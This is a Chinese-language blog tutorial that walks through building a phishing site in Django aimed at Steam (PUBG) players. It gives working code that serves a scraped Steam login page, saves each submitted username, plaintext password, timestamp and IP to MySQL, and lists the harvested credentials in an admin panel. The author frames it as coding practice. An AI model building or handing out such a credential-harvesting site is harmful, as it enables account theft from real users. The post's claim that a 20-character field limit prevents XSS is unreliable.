使用Django开发钓鱼网站

为什么要开发钓鱼网站?因为钓鱼网站功能简单,个人感觉比开发博客更适合我这种刚入门的菜鸡来练手了。

一年前,我刚学php的时候,第一次开发的东西也是钓鱼网站。

当时最流行的是LOL,现在轮到吃鸡党执政了,那就写个针对吃鸡玩家的鱼站。

当然,只是拿来练手,本文不会发布相关源码,只做学习交流。

一·创建项目

我使用的是python 2.7+ django1.8.15+mysql5.5.3

django-admin.py startproject fishing

创建一个名为fishing的项目,得到以下目录即为创建成果

目录说明:

  • fishing: 项目的容器。
  • manage.py: 一个实用的命令行工具,可让你以各种方式与该 Django 项目进行交互。
  • fishing/__init__.py: 一个空文件,告诉 Python 该目录是一个 Python 包。
  • fishing/settings.py: 该 Django 项目的设置/配置。
  • fishing/urls.py: 该 Django 项目的 URL 声明; 一份由 Django 驱动的网站"目录"。
  • fishing/wsgi.py: 一个 WSGI 兼容的 Web 服务器的入口,以便运行你的项目。

二.设置模板

首先在settings.py中添加模板路径以及静态文件路径,静态文件即js,css,jpg等文件资源

TEMPLATES = [
    {
        'BACKEND': 'django.template.backends.django.DjangoTemplates',
        'DIRS': [BASE_DIR+"/templates"],
        'APP_DIRS': True,
        'OPTIONS': {
            'context_processors': [
                'django.template.context_processors.debug',
                'django.template.context_processors.request',
                'django.contrib.auth.context_processors.auth',
                'django.contrib.messages.context_processors.messages',
            ],
        },
    },
]
STATIC_URL = '/static/'
STATICFILES_DIRS = (
    os.path.join(BASE_DIR, "static"),
)

/static/为静态文件存放目录,/templates/为页面存放目录,将刚扒下来的页面分别以html页面和静态文件放置相关目录中。

编辑steam.html

在html头部添加上{% load staticfiles %}

修改所有需要调用静态资源的地方

将原本调用代码:<link href="css/cart.css" rel="stylesheet" type="text/css" >

修改为这种格式:<link href="{% static 'css/cart.css'%}" rel="stylesheet" type="text/css" >

在页面form标签下,添加{% csrf_token %},防御CSRF攻击

三.建立模型

首先安装mysql驱动:

 pip install mysqlclient

在settings.py找到DATABASES选项将其信息修改为你的数据库配置信息

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.mysql',  #mysql.connector.django
        'NAME': 'fishing',
        'USER': 'root',
        'PASSWORD': 'root',
        'HOST':'192.168.163.129',
        'PORT':'3306',
    }
}

NAME是数据库名称,以此类推

如果要使用模型,必须要创建一个app。使用以下命令创建一个 Fish_Info的app

django-admin.py startapp fish_Info

目录结构如下:

修改fish_Info/models.py为:

from django.db import models

class fishSql(models.Model):
  username = models.CharField(max_length=20)
  password = models.CharField(max_length=20)
  time = models.CharField(max_length=20)
  ip = models.CharField(max_length=20)
  def __str__(self):
    return self.username

这个操作是往fish_Info表中添加四个字段,类型都是varchar=20,变量名为字段名。限制长度为20可以有效的防止XSS

然后再修改settings.py,找到INSTALLED_APPS 在最后一行加上刚刚创建的app名称

INSTALLED_APPS = (
'suit',
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'fish_Info',
)

再命令行中运行:

python manage.py migrate
python manage.py makemigrations Fish_Info
python manage.py migrate Fish_Info

若没出现红字警告,即为创建成功

三.建立表单

在fishing/fishing/目录下新建default.py

#!/use/bin/python
#-*-coding:utf-8-*-
import time
from django.http import HttpResponse
from django.shortcuts import render
from django.views.decorators import csrf
from fish_Info.models import fishSql
# 接收请求数据
def login(request):  
    request.encoding='utf-8'
    Userinfo = {}
    if request.POST:
    	Userinfo['username'] = request.POST['username']
    	Userinfo['password'] = request.POST['password']
    	addInfo = fishSql(username=Userinfo['username'],password=Userinfo['password'],time=time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),ip=request.META['REMOTE_ADDR'])
    	addInfo.save()
    return render(request,"steam.html")

此文件的功能是接收页面POST传过来的username和password值,然后存入数据库中。也就是把一和二建立的东西结合起来。

修改Urls.py为:

from django.conf.urls import include, url
from django.contrib import admin
from . import default
urlpatterns = [
    url(r'^$', default.login),
]

做完前面这几步前台功能已经实现了

点击登录后,输入的账号密码会被存入数据库中,方便后台读取


四.建立后台

使用django框架建立后台十分方便,只需要一条命令,可以说是一键生成后台了

在urls.py中加上一句代码:url(r'^admin/', admin.site.urls),

设置后台地址为admin,当然也可以改成其他的

访问localhost:8081/admin可看到后台登录页面

但是你是登不进去的,因为还没有设置管理员账号

在命令行执行:
python manage.py createsuperuser

然后依次设置账号密码就可以登录了

修改fishing/fish_Info/admin.py

from django.contrib import admin
from fish_Info.models import fishSql
# Register your models here.
class fishSqlAdmin(admin.ModelAdmin):
  list_display = ('username','password','time','ip',)
admin.site.register(fishSql,fishSqlAdmin)

此代码的意义是注册将fishSql表中的数据以username,password,......显示出来,实现一个数据浏览的效果


django默认的后台太丑了,我推荐django-suit

pip install django-suit

在settings.py找到INSTALLED_APPS在第一行添加'suit',

INSTALLED_APPS = (
    'suit',
    'django.contrib.admin',
    'django.contrib.auth',
    'django.contrib.contenttypes',
    'django.contrib.sessions',
    'django.contrib.messages',
    'django.contrib.staticfiles',
    'fish_Info',
)

这个就比默认的后台帅多了,不得不感叹django的扩展性是真的强....

 

发表评论

电子邮件地址不会被公开。 必填项已用*标注

Are you human? Click the Pineapple...